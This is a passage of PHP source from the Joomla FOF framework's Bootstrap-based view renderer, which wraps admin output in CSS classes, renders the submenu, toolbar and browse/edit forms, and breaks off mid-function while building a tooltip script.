*/
public function preRender($view, $task, $input, $config = array())
{
$format = $input->getCmd('format', 'html');
if (empty($format))
{
$format = 'html';
}
if ($format != 'html')
{
return;
}
$platform = FOFPlatform::getInstance();
if ($platform->isCli())
{
return;
}
if (version_compare(JVERSION, '3.0.0', 'lt'))
{
JHtml::_('behavior.framework');
}
else
{
if (version_compare(JVERSION, '3.3.0', 'ge'))
{
JHtml::_('behavior.core');
}
else
{
JHtml::_('behavior.framework', true);
}
JHtml::_('jquery.framework');
}
// Wrap output in various classes
$version = new JVersion;
$versionParts = explode('.', $version->RELEASE);
$minorVersion = str_replace('.', '',
$version->RELEASE);
$majorVersion = array_shift($versionParts);
if ($platform->isBackend())
{
$area = $platform->isBackend() ? 'admin' :
'site';
$option = $input->getCmd('option', '');
$view = $input->getCmd('view', '');
$layout = $input->getCmd('layout', '');
$task = $input->getCmd('task', '');
$classes = array(
'joomla-version-' . $majorVersion,
'joomla-version-' . $minorVersion,
$area,
$option,
'view-' . $view,
'layout-' . $layout,
'task-' . $task,
// We have a floating sidebar, they said. It looks great, they said.
They must've been blind, I say!
'j-toggle-main',
'j-toggle-transition',
'span12',
);
}
elseif ($platform->isFrontend())
{
// @TODO: Remove the frontend Joomla! version classes in FOF 3
$classes = array(
'joomla-version-' . $majorVersion,
'joomla-version-' . $minorVersion,
);
}
// Wrap output in divs
echo '<div id="akeeba-bootstrap" class="' .
implode(' ', $classes) . "\">\n";
echo "<div class=\"akeeba-bootstrap\">\n";
echo "<div class=\"row-fluid\">\n";
// Render submenu and toolbar (only if asked to)
if ($input->getBool('render_toolbar', true))
{
$this->renderButtons($view, $task, $input, $config);
$this->renderLinkbar($view, $task, $input, $config);
}
}
/**
* Echoes any HTML to show after the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
public function postRender($view, $task, $input, $config = array())
{
$format = $input->getCmd('format', 'html');
if ($format != 'html' ||
FOFPlatform::getInstance()->isCli())
{
return;
}
if (!FOFPlatform::getInstance()->isCli() &&
version_compare(JVERSION, '3.0', 'ge'))
{
$sidebarEntries = JHtmlSidebar::getEntries();
if (!empty($sidebarEntries))
{
echo '</div>';
}
}
echo "</div>\n"; // Closes row-fluid div
echo "</div>\n"; // Closes akeeba-bootstrap div
echo "</div>\n"; // Closes joomla-version div
}
/**
* Loads the validation script for an edit form
*
* @param FOFForm &$form The form we are rendering
*
* @return void
*/
protected function loadValidationScript(FOFForm &$form)
{
$message =
$form->getView()->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));
$js = <<<JS
Joomla.submitbutton = function(task)
{
if (task == 'cancel' ||
document.formvalidator.isValid(document.id('adminForm')))
{
Joomla.submitform(task, document.getElementById('adminForm'));
}
else {
alert('$message');
}
};
JS;
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
$document->addScriptDeclaration($js);
}
}
/**
* Renders the submenu (link bar)
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderLinkbar($view, $task, $input, $config = array())
{
$style = 'classic';
if (array_key_exists('linkbar_style', $config))
{
$style = $config['linkbar_style'];
}
if (!version_compare(JVERSION, '3.0', 'ge'))
{
$style = 'classic';
}
switch ($style)
{
case 'joomla':
$this->renderLinkbar_joomla($view, $task, $input);
break;
case 'classic':
default:
$this->renderLinkbar_classic($view, $task, $input);
break;
}
}
/**
* Renders the submenu (link bar) in FOF's classic style, using a
Bootstrapped
* tab bar.
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderLinkbar_classic($view, $task, $input, $config =
array())
{
if (FOFPlatform::getInstance()->isCli())
{
return;
}
// Do not render a submenu unless we are in the the admin area
$toolbar =
FOFToolbar::getAnInstance($input->getCmd('option',
'com_foobar'), $config);
$renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu();
if (!FOFPlatform::getInstance()->isBackend() &&
!$renderFrontendSubmenu)
{
return;
}
$links = $toolbar->getLinks();
if (!empty($links))
{
echo "<ul class=\"nav nav-tabs\">\n";
foreach ($links as $link)
{
$dropdown = false;
if (array_key_exists('dropdown', $link))
{
$dropdown = $link['dropdown'];
}
if ($dropdown)
{
echo "<li";
$class = 'dropdown';
if ($link['active'])
{
$class .= ' active';
}
echo ' class="' . $class . '">';
echo '<a class="dropdown-toggle"
data-toggle="dropdown" href="#">';
if ($link['icon'])
{
echo "<i class=\"icon icon-" .
$link['icon'] . "\"></i>";
}
echo $link['name'];
echo '<b class="caret"></b>';
echo '</a>';
echo "\n<ul class=\"dropdown-menu\">";
foreach ($link['items'] as $item)
{
echo "<li";
if ($item['active'])
{
echo ' class="active"';
}
echo ">";
if ($item['icon'])
{
echo "<i class=\"icon icon-" .
$item['icon'] . "\"></i>";
}
if ($item['link'])
{
echo "<a href=\"" . $item['link'] .
"\">" . $item['name'] . "</a>";
}
else
{
echo $item['name'];
}
echo "</li>";
}
echo "</ul>\n";
}
else
{
echo "<li";
if ($link['active'])
{
echo ' class="active"';
}
echo ">";
if ($link['icon'])
{
echo "<i class=\"icon icon-" .
$link['icon'] . "\"></i>";
}
if ($link['link'])
{
echo "<a href=\"" . $link['link'] .
"\">" . $link['name'] . "</a>";
}
else
{
echo $link['name'];
}
}
echo "</li>\n";
}
echo "</ul>\n";
}
}
/**
* Renders the submenu (link bar) using Joomla!'s style. On Joomla!
2.5 this
* is a list of bar separated links, on Joomla! 3 it's a sidebar at
the
* left-hand side of the page.
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderLinkbar_joomla($view, $task, $input, $config =
array())
{
// On command line don't do anything
if (FOFPlatform::getInstance()->isCli())
{
return;
}
// Do not render a submenu unless we are in the the admin area
$toolbar =
FOFToolbar::getAnInstance($input->getCmd('option',
'com_foobar'), $config);
$renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu();
if (!FOFPlatform::getInstance()->isBackend() &&
!$renderFrontendSubmenu)
{
return;
}
$this->renderLinkbarItems($toolbar);
}
/**
* do the rendering job for the linkbar
*
* @param FOFToolbar $toolbar A toolbar object
*
* @return void
*/
protected function renderLinkbarItems($toolbar)
{
$links = $toolbar->getLinks();
if (!empty($links))
{
foreach ($links as $link)
{
JHtmlSidebar::addEntry($link['name'],
$link['link'], $link['active']);
$dropdown = false;
if (array_key_exists('dropdown', $link))
{
$dropdown = $link['dropdown'];
}
if ($dropdown)
{
foreach ($link['items'] as $item)
{
JHtmlSidebar::addEntry('– ' . $item['name'],
$item['link'], $item['active']);
}
}
}
}
}
/**
* Renders the toolbar buttons
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderButtons($view, $task, $input, $config = array())
{
if (FOFPlatform::getInstance()->isCli())
{
return;
}
// Do not render buttons unless we are in the the frontend area and we
are asked to do so
$toolbar =
FOFToolbar::getAnInstance($input->getCmd('option',
'com_foobar'), $config);
$renderFrontendButtons = $toolbar->getRenderFrontendButtons();
// Load main backend language, in order to display toolbar strings
// (JTOOLBAR_BACK, JTOOLBAR_PUBLISH etc etc)
FOFPlatform::getInstance()->loadTranslations('joomla');
if (FOFPlatform::getInstance()->isBackend() ||
!$renderFrontendButtons)
{
return;
}
$bar = JToolbar::getInstance('toolbar');
$items = $bar->getItems();
$substitutions = array(
'icon-32-new' => 'icon-plus',
'icon-32-publish' => 'icon-eye-open',
'icon-32-unpublish' => 'icon-eye-close',
'icon-32-delete' => 'icon-trash',
'icon-32-edit' => 'icon-edit',
'icon-32-copy' => 'icon-th-large',
'icon-32-cancel' => 'icon-remove',
'icon-32-back' => 'icon-circle-arrow-left',
'icon-32-apply' => 'icon-ok',
'icon-32-save' => 'icon-hdd',
'icon-32-save-new' => 'icon-repeat',
);
if(isset(JFactory::getApplication()->JComponentTitle))
{
$title = JFactory::getApplication()->JComponentTitle;
}
else
{
$title = '';
}
$html = array();
$actions = array();
// For BC we have to use the same id we're using inside other
renderers (FOFHeaderHolder)
//$html[] = '<div class="well" id="' .
$bar->getName() . '">';
$html[] = '<div class="well"
id="FOFHeaderHolder">';
$html[] = '<div
class="titleHolder">'.$title.'</div>';
$html[] = '<div
class="buttonsHolder">';
foreach ($items as $node)
{
$type = $node[0];
$button = $bar->loadButtonType($type);
if ($button !== false)
{
if (method_exists($button, 'fetchId'))
{
$id = call_user_func_array(array(&$button, 'fetchId'),
$node);
}
else
{
$id = null;
}
$action = call_user_func_array(array(&$button,
'fetchButton'), $node);
$action = str_replace('class="toolbar"',
'class="toolbar btn"', $action);
$action = str_replace('<span ', '<i ',
$action);
$action = str_replace('</span>',
'</i>', $action);
$action = str_replace(array_keys($substitutions),
array_values($substitutions), $action);
$actions[] = $action;
}
}
$html = array_merge($html, $actions);
$html[] = '</div>';
$html[] = '</div>';
echo implode("\n", $html);
}
/**
* Renders a FOFForm for a Browse view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
protected function renderFormBrowse(FOFForm &$form, FOFModel $model,
FOFInput $input)
{
$html = '';
JHtml::_('behavior.multiselect');
// Joomla! 3.0+ support
if (version_compare(JVERSION, '3.0', 'ge'))
{
JHtml::_('bootstrap.tooltip');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
$view = $form->getView();
$order = $view->escape($view->getLists()->order);
$html .= <<<HTML
<script type="text/javascript">
Joomla.orderTable = function() {
table = document.getElementById("sortTable");
direction = document.getElementById("directionTable");
order = table.options[table.selectedIndex].value;
if (order != '$order')
{
dirn = 'asc';
}
else {
dirn = direction.options[direction.selectedIndex].value;
}
Joomla.tableOrdering(order, dirn);
};
</script>
HTML;
}
else
{
JHtml::_('behavior.tooltip');
}
// Getting all header row elements
$headerFields = $form->getHeaderset();
// Get form parameters
$show_header = $form->getAttribute('show_header', 1);
$show_filters = $form->getAttribute('show_filters', 1);
$show_pagination = $form->getAttribute('show_pagination',
1);
$norows_placeholder =
$form->getAttribute('norows_placeholder', '');
// Joomla! 3.0 sidebar support
if (version_compare(JVERSION, '3.0', 'gt'))
{
$form_class = '';
if ($show_filters)
{
JHtmlSidebar::setAction("index.php?option=" .
$input->getCmd('option') . "&view=" .
FOFInflector::pluralize($input->getCmd('view'))
);
}
// Reorder the fields with ordering first
$tmpFields = array();
$i = 1;
foreach ($headerFields as $tmpField)
{
if ($tmpField instanceof FOFFormHeaderOrdering)
{
$tmpFields[0] = $tmpField;
}
else
{
$tmpFields[$i] = $tmpField;
}
$i++;
}
$headerFields = $tmpFields;
ksort($headerFields, SORT_NUMERIC);
}
else
{
$form_class = 'class="form-horizontal"';
}
// Pre-render the header and filter rows
$header_html = '';
$filter_html = '';
$sortFields = array();
if ($show_header || $show_filters)
{
foreach ($headerFields as $headerField)
{
$header = $headerField->header;
$filter = $headerField->filter;
$buttons = $headerField->buttons;
$options = $headerField->options;
$sortable = $headerField->sortable;
$tdwidth = $headerField->tdwidth;
// Under Joomla! < 3.0 we can't have filter-only fields
if (version_compare(JVERSION, '3.0', 'lt')
&& empty($header))
{
continue;
}
// If it's a sortable field, add to the list of sortable fields
if ($sortable)
{
$sortFields[$headerField->name] = JText::_($headerField->label);
}
// Get the table data width, if set
if (!empty($tdwidth))
{
$tdwidth = 'width="' . $tdwidth . '"';
}
else
{
$tdwidth = '';
}
if (!empty($header))
{
$header_html .= "\t\t\t\t\t<th $tdwidth>" . PHP_EOL;
$header_html .= "\t\t\t\t\t\t" . $header;
$header_html .= "\t\t\t\t\t</th>" . PHP_EOL;
}
if (version_compare(JVERSION, '3.0', 'ge'))
{
// Joomla! 3.0 or later
if (!empty($filter))
{
$filter_html .= '<div class="filter-search btn-group
pull-left">' . "\n";
$filter_html .= "\t" . '<label
for="title" class="element-invisible">';
$filter_html .= JText::_($headerField->label);
$filter_html .= "</label>\n";
$filter_html .= "\t$filter\n";
$filter_html .= "</div>\n";
if (!empty($buttons))
{
$filter_html .= '<div class="btn-group pull-left
hidden-phone">' . "\n";
$filter_html .= "\t$buttons\n";
$filter_html .= '</div>' . "\n";
}
}
elseif (!empty($options))
{
$label = $headerField->label;
JHtmlSidebar::addFilter(
'- ' . JText::_($label) . ' -', (string)
$headerField->name,
JHtml::_(
'select.options',
$options,
'value',
'text',
$model->getState($headerField->name, ''), true
)
);
}
}
else
{
// Joomla! 2.5
$filter_html .= "\t\t\t\t\t<td>" . PHP_EOL;
if (!empty($filter))
{
$filter_html .= "\t\t\t\t\t\t$filter" . PHP_EOL;
if (!empty($buttons))
{
$filter_html .= '<div class="btn-group
hidden-phone">' . PHP_EOL;
$filter_html .= "\t\t\t\t\t\t$buttons" . PHP_EOL;
$filter_html .= '</div>' . PHP_EOL;
}
}
elseif (!empty($options))
{
$label = $headerField->label;
$emptyOption = JHtml::_('select.option', '',
'- ' . JText::_($label) . ' -');
array_unshift($options, $emptyOption);
$attribs = array(
'onchange' => 'document.adminForm.submit();'
);
$filter = JHtml::_('select.genericlist', $options,
$headerField->name, $attribs, 'value', 'text',
$headerField->value, false, true);
$filter_html .= "\t\t\t\t\t\t$filter" . PHP_EOL;
}
$filter_html .= "\t\t\t\t\t</td>" . PHP_EOL;
}
}
}
// Start the form
$filter_order = $form->getView()->getLists()->order;
$filter_order_Dir = $form->getView()->getLists()->order_Dir;
$actionUrl = FOFPlatform::getInstance()->isBackend() ?
'index.php' : JUri::root().'index.php';
if (FOFPlatform::getInstance()->isFrontend() &&
($input->getCmd('Itemid', 0) != 0))
{
$itemid = $input->getCmd('Itemid', 0);
$uri = new JUri($actionUrl);
if ($itemid)
{
$uri->setVar('Itemid', $itemid);
}
$actionUrl = JRoute::_($uri->toString());
}
$html .= '<form action="'.$actionUrl.'"
method="post" name="adminForm" id="adminForm"
' . $form_class . '>' . PHP_EOL;
if (version_compare(JVERSION, '3.0', 'ge'))
{
// Joomla! 3.0+
// Get and output the sidebar, if present
$sidebar = JHtmlSidebar::render();
if ($show_filters && !empty($sidebar))
{
$html .= '<div id="j-sidebar-container"
class="span2">' . "\n";
$html .= "\t$sidebar\n";
$html .= "</div>\n";
$html .= '<div id="j-main-container"
class="span10">' . "\n";
}
else
{
$html .= '<div id="j-main-container">' .
"\n";
}
// Render header search fields, if the header is enabled
if ($show_header)
{
$html .= "\t" . '<div id="filter-bar"
class="btn-toolbar">' . "\n";
$html .= "$filter_html\n";
if ($show_pagination)
{
// Render the pagination rows per page selection box, if the
pagination is enabled
$html .= "\t" . '<div class="btn-group
pull-right hidden-phone">' . "\n";
$html .= "\t\t" . '<label for="limit"
class="element-invisible">' .
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC') .
'</label>' . "\n";
$html .= "\t\t" .
$model->getPagination()->getLimitBox() . "\n";
$html .= "\t" . '</div>' . "\n";
}
if (!empty($sortFields))
{
// Display the field sort order
$asc_sel = ($view->getLists()->order_Dir == 'asc') ?
'selected="selected"' : '';
$desc_sel = ($view->getLists()->order_Dir == 'desc')
? 'selected="selected"' : '';
$html .= "\t" . '<div class="btn-group
pull-right hidden-phone">' . "\n";
$html .= "\t\t" . '<label
for="directionTable"
class="element-invisible">' .
JText::_('JFIELD_ORDERING_DESC') . '</label>' .
"\n";
$html .= "\t\t" . '<select
name="directionTable" id="directionTable"
class="input-medium"
onchange="Joomla.orderTable()">' . "\n";
$html .= "\t\t\t" . '<option
value="">' . JText::_('JFIELD_ORDERING_DESC') .
'</option>' . "\n";
$html .= "\t\t\t" . '<option value="asc"
' . $asc_sel . '>' .
JText::_('JGLOBAL_ORDER_ASCENDING') . '</option>'
. "\n";
$html .= "\t\t\t" . '<option value="desc"
' . $desc_sel . '>' .
JText::_('JGLOBAL_ORDER_DESCENDING') .
'</option>' . "\n";
$html .= "\t\t" . '</select>' .
"\n";
$html .= "\t" . '</div>' . "\n\n";
// Display the sort fields
$html .= "\t" . '<div class="btn-group
pull-right">' . "\n";
$html .= "\t\t" . '<label for="sortTable"
class="element-invisible">' .
JText::_('JGLOBAL_SORT_BY') . '</label>' .
"\n";
$html .= "\t\t" . '<select
name="sortTable" id="sortTable"
class="input-medium"
onchange="Joomla.orderTable()">' . "\n";
$html .= "\t\t\t" . '<option
value="">' . JText::_('JGLOBAL_SORT_BY') .
'</option>' . "\n";
$html .= "\t\t\t" . JHtml::_('select.options',
$sortFields, 'value', 'text',
$view->getLists()->order) . "\n";
$html .= "\t\t" . '</select>' .
"\n";
$html .= "\t" . '</div>' . "\n";
}
$html .= "\t</div>\n\n";
$html .= "\t" . '<div class="clearfix">
</div>' . "\n\n";
}
}
// Start the table output
$html .= "\t\t" . '<table class="table
table-striped" id="itemsList">' . PHP_EOL;
// Open the table header region if required
if ($show_header || ($show_filters && version_compare(JVERSION,
'3.0', 'lt')))
{
$html .= "\t\t\t<thead>" . PHP_EOL;
}
// Render the header row, if enabled
if ($show_header)
{
$html .= "\t\t\t\t<tr>" . PHP_EOL;
$html .= $header_html;
$html .= "\t\t\t\t</tr>" . PHP_EOL;
}
// Render filter row if enabled
if ($show_filters && version_compare(JVERSION, '3.0',
'lt'))
{
$html .= "\t\t\t\t<tr>";
$html .= $filter_html;
$html .= "\t\t\t\t</tr>";
}
// Close the table header region if required
if ($show_header || ($show_filters && version_compare(JVERSION,
'3.0', 'lt')))
{
$html .= "\t\t\t</thead>" . PHP_EOL;
}
// Loop through rows and fields, or show placeholder for no rows
$html .= "\t\t\t<tbody>" . PHP_EOL;
$fields = $form->getFieldset('items');
$num_columns = count($fields);
$items = $model->getItemList();
if ($count = count($items))
{
$m = 1;
foreach ($items as $i => $item)
{
$table_item = $model->getTable();
$table_item->reset();
$table_item->bind($item);
$form->bind($item);
$m = 1 - $m;
$class = 'row' . $m;
$html .= "\t\t\t\t<tr class=\"$class\">" .
PHP_EOL;
$fields = $form->getFieldset('items');
// Reorder the fields to have ordering first
if (version_compare(JVERSION, '3.0', 'gt'))
{
$tmpFields = array();
$j = 1;
foreach ($fields as $tmpField)
{
if ($tmpField instanceof FOFFormFieldOrdering)
{
$tmpFields[0] = $tmpField;
}
else
{
$tmpFields[$j] = $tmpField;
}
$j++;
}
$fields = $tmpFields;
ksort($fields, SORT_NUMERIC);
}
foreach ($fields as $field)
{
$field->rowid = $i;
$field->item = $table_item;
$labelClass = $field->labelClass ? $field->labelClass :
$field->labelclass; // Joomla! 2.5/3.x use different case for the same
name
$class = $labelClass ? 'class ="' . $labelClass .
'"' : '';
$html .= "\t\t\t\t\t<td $class>" .
$field->getRepeatable() . '</td>' . PHP_EOL;
}
$html .= "\t\t\t\t</tr>" . PHP_EOL;
}
}
elseif ($norows_placeholder)
{
$html .= "\t\t\t\t<tr><td
colspan=\"$num_columns\">";
$html .= JText::_($norows_placeholder);
$html .= "</td></tr>\n";
}
$html .= "\t\t\t</tbody>" . PHP_EOL;
// Render the pagination bar, if enabled, on J! 2.5
if ($show_pagination && version_compare(JVERSION,
'3.0', 'lt'))
{
$pagination = $model->getPagination();
$html .= "\t\t\t<tfoot>" . PHP_EOL;
$html .= "\t\t\t\t<tr><td
colspan=\"$num_columns\">";
if (($pagination->total > 0))
{
$html .= $pagination->getListFooter();
}
$html .= "</td></tr>\n";
$html .= "\t\t\t</tfoot>" . PHP_EOL;
}
// End the table output
$html .= "\t\t" . '</table>' . PHP_EOL;
// Render the pagination bar, if enabled, on J! 3.0+
if ($show_pagination && version_compare(JVERSION,
'3.0', 'ge'))
{
$html .= $model->getPagination()->getListFooter();
}
// Close the wrapper element div on Joomla! 3.0+
if (version_compare(JVERSION, '3.0', 'ge'))
{
$html .= "</div>\n";
}
$html .= "\t" . '<input type="hidden"
name="option" value="' .
$input->getCmd('option') . '" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="view" value="' .
FOFInflector::pluralize($input->getCmd('view')) . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="task" value="' .
$input->getCmd('task', 'browse') . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="layout" value="' .
$input->getCmd('layout', '') . '"
/>' . PHP_EOL;
// The id field is required in Joomla! 3 front-end to prevent the
pagination limit box from screwing it up. Huh!!
if (version_compare(JVERSION, '3.0', 'ge') &&
FOFPlatform::getInstance()->isFrontend())
{
$html .= "\t" . '<input type="hidden"
name="id" value="' . $input->getCmd('id',
'') . '" />' . PHP_EOL;
}
$html .= "\t" . '<input type="hidden"
name="boxchecked" value="" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="hidemainmenu" value="" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="filter_order" value="' . $filter_order .
'" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="filter_order_Dir" value="' . $filter_order_Dir .
'" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="' . JFactory::getSession()->getFormToken() .
'" value="1" />' . PHP_EOL;
// End the form
$html .= '</form>' . PHP_EOL;
return $html;
}
/**
* Renders a FOFForm for a Read view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
protected function renderFormRead(FOFForm &$form, FOFModel $model,
FOFInput $input)
{
$html = $this->renderFormRaw($form, $model, $input, 'read');
return $html;
}
/**
* Renders a FOFForm for an Edit view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
protected function renderFormEdit(FOFForm &$form, FOFModel $model,
FOFInput $input)
{
// Get the key for this model's table
$key = $model->getTable()->getKeyName();
$keyValue = $model->getId();
$html = '';
$validate = strtolower($form->getAttribute('validate'));
if (in_array($validate, array('true', 'yes',
'1', 'on')))
{
JHtml::_('behavior.formvalidation');
$class = ' form-validate';
$this->loadValidationScript($form);
}
else
{
$class = '';
}
// Check form enctype. Use enctype="multipart/form-data" to
upload binary files in your form.
$template_form_enctype = $form->getAttribute('enctype');
if (!empty($template_form_enctype))
{
$enctype = ' enctype="' .
$form->getAttribute('enctype') . '" ';
}
else
{
$enctype = '';
}
// Check form name. Use name="yourformname" to modify the name
of your form.
$formname = $form->getAttribute('name');
if (empty($formname))
{
$formname = 'adminForm';
}
// Check form ID. Use id="yourformname" to modify the id of
your form.
$formid = $form->getAttribute('name');
if (empty($formid))
{
$formid = 'adminForm';
}
// Check if we have a custom task
$customTask = $form->getAttribute('customTask');
if (empty($customTask))
{
$customTask = '';
}
// Get the form action URL
$actionUrl = FOFPlatform::getInstance()->isBackend() ?
'index.php' : JUri::root().'index.php';
if (FOFPlatform::getInstance()->isFrontend() &&
($input->getCmd('Itemid', 0) != 0))
{
$itemid = $input->getCmd('Itemid', 0);
$uri = new JUri($actionUrl);
if ($itemid)
{
$uri->setVar('Itemid', $itemid);
}
$actionUrl = JRoute::_($uri->toString());
}
$html .= '<form action="'.$actionUrl.'"
method="post" name="' . $formname .
'" id="' . $formid . '"' . $enctype .
' class="form-horizontal' .
$class . '">' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="option" value="' .
$input->getCmd('option') . '" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="view" value="' .
$input->getCmd('view', 'edit') . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="task" value="' . $customTask . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="' . $key . '" value="' . $keyValue .
'" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="' . JFactory::getSession()->getFormToken() .
'" value="1" />' . PHP_EOL;
$html .= $this->renderFormRaw($form, $model, $input,
'edit');
$html .= '</form>';
return $html;
}
/**
* Renders a raw FOFForm and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type e.g. 'edit' or
'read'
*
* @return string The HTML rendering of the form
*/
protected function renderFormRaw(FOFForm &$form, FOFModel $model,
FOFInput $input, $formType)
{
$html = '';
$tabHtml = array();
// Do we have a tabbed form?
$isTabbed = $form->getAttribute('tabbed', '0');
$isTabbed = in_array($isTabbed, array('true', 'yes',
'on', '1'));
foreach ($form->getFieldsets() as $fieldset)
{
if ($isTabbed && $this->isTabFieldset($fieldset))
{
continue;
}
elseif ($isTabbed && isset($fieldset->innertab))
{
$inTab = $fieldset->innertab;
}
else
{
$inTab = '__outer';
}
$tabHtml[$inTab][] = $this->renderFieldset($fieldset, $form, $model,
$input, $formType, false);
}
// If the form is tabbed, render the tabs bars
if ($isTabbed)
{
$html .= '<ul class="nav nav-tabs">' .
PHP_EOL;
foreach ($form->getFieldsets() as $fieldset)
{
// Only create tabs for tab fieldsets
$isTabbedFieldset = $this->isTabFieldset($fieldset);
if (!$isTabbedFieldset)
{
continue;
}
// Only create tabs if we do have a label
if (!isset($fieldset->label) || empty($fieldset->label))
{
continue;
}
$label = JText::_($fieldset->label);
$name = $fieldset->name;
$liClass = ($isTabbedFieldset == 2) ?
'class="active"' : '';
$html .= "<li $liClass><a href=\"#$name\"
data-toggle=\"tab\">$label</a></li>" .
PHP_EOL;
}
$html .= '</ul>' . "\n\n<div
class=\"tab-content\">" . PHP_EOL;
foreach ($form->getFieldsets() as $fieldset)
{
if (!$this->isTabFieldset($fieldset))
{
continue;
}
$html .= $this->renderFieldset($fieldset, $form, $model, $input,
$formType, false, $tabHtml);
}
$html .= "</div>\n";
}
if (isset($tabHtml['__outer']))
{
$html .= implode('', $tabHtml['__outer']);
}
return $html;
}
/**
* Renders a raw fieldset of a FOFForm and returns the corresponding HTML
*
* @param stdClass &$fieldset The fieldset to render
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type e.g. 'edit' or
'read'
* @param boolean $showHeader Should I render the fieldset's
header?
*
* @return string The HTML rendering of the fieldset
*/
protected function renderFieldset(stdClass &$fieldset, FOFForm
&$form, FOFModel $model, FOFInput $input, $formType, $showHeader =
true, &$innerHtml = null)
{
$html = '';
$fields = $form->getFieldset($fieldset->name);
if (isset($fieldset->class))
{
$class = 'class="' . $fieldset->class .
'"';
}
else
{
$class = '';
}
if (isset($innerHtml[$fieldset->name]))
{
$innerclass = isset($fieldset->innerclass) ? '
class="' . $fieldset->innerclass . '"' :
'';
$html .= "\t" . '<div id="' .
$fieldset->name . '" ' . $class . '>' .
PHP_EOL;
$html .= "\t\t" . '<div' . $innerclass .
'>' . PHP_EOL;
}
else
{
$html .= "\t" . '<div id="' .
$fieldset->name . '" ' . $class . '>' .
PHP_EOL;
}
$isTabbedFieldset = $this->isTabFieldset($fieldset);
if (isset($fieldset->label) && !empty($fieldset->label)
&& !$isTabbedFieldset)
{
$html .= "\t\t" . '<h3>' .
JText::_($fieldset->label) . '</h3>' . PHP_EOL;
}
foreach ($fields as $field)
{
$groupClass = $form->getFieldAttribute($field->fieldname,
'groupclass', '', $field->group);
// Auto-generate label and description if needed
// Field label
$title = $form->getFieldAttribute($field->fieldname,
'label', '', $field->group);
$emptylabel = $form->getFieldAttribute($field->fieldname,
'emptylabel', false, $field->group);
if (empty($title) && !$emptylabel)
{
$model->getName();
$title = strtoupper($input->get('option') . '_'
. $model->getName() . '_' . $field->id .
'_LABEL');
}
// Field description
$description = $form->getFieldAttribute($field->fieldname,
'description', '', $field->group);
/**
* The following code is backwards incompatible. Most forms don't
require a description in their form
* fields. Having to use emptydescription="1" on each one of
them is an overkill. Removed.
*/
/*
$emptydescription = $form->getFieldAttribute($field->fieldname,
'emptydescription', false, $field->group);
if (empty($description) && !$emptydescription)
{
$description = strtoupper($input->get('option') .
'_' . $model->getName() . '_' . $field->id .
'_DESC');
}
*/
if ($formType == 'read')
{
$inputField = $field->static;
}
elseif ($formType == 'edit')
{
$inputField = $field->input;
}
if (empty($title))
{
$html .= "\t\t\t" . $inputField . PHP_EOL;
if (!empty($description) && $formType == 'edit')
{
$html .= "\t\t\t\t" . '<span
class="help-block">';
$html .= JText::_($description) . '</span>' . PHP_EOL;
}
}
else
{
$html .= "\t\t\t" . '<div class="control-group
' . $groupClass . '">' . PHP_EOL;
$html .= $this->renderFieldsetLabel($field, $form, $title);
$html .= "\t\t\t\t" . '<div
class="controls">' . PHP_EOL;
$html .= "\t\t\t\t\t" . $inputField . PHP_EOL;
if (!empty($description))
{
$html .= "\t\t\t\t" . '<span
class="help-block">';
$html .= JText::_($description) . '</span>' . PHP_EOL;
}
$html .= "\t\t\t\t" . '</div>' . PHP_EOL;
$html .= "\t\t\t" . '</div>' . PHP_EOL;
}
}
if (isset($innerHtml[$fieldset->name]))
{
$html .= "\t\t" . '</div>' . PHP_EOL;
$html .= implode('', $innerHtml[$fieldset->name]) .
PHP_EOL;
$html .= "\t" . '</div>' . PHP_EOL;
}
else
{
$html .= "\t" . '</div>' . PHP_EOL;
}
return $html;
}
/**
* Renders a label for a fieldset.
*
* @param object $field The field of the label to render
* @param FOFForm &$form The form to render
* @param string $title The title of the label
*
* @return string The rendered label
*/
protected function renderFieldsetLabel($field, FOFForm &$form, $title)
{
$html = '';
$labelClass = $field->labelClass ? $field->labelClass :
$field->labelclass; // Joomla! 2.5/3.x use different case for the same
name
$required = $field->required;
$tooltip = $form->getFieldAttribute($field->fieldname,
'tooltip', '', $field->group);
if (!empty($tooltip))
{
if (version_compare(JVERSION, '3.0', 'ge'))
{
static $loadedTooltipScript = false;
if (!$loadedTooltipScript)
{
$js = <<<JS
(function($)
{
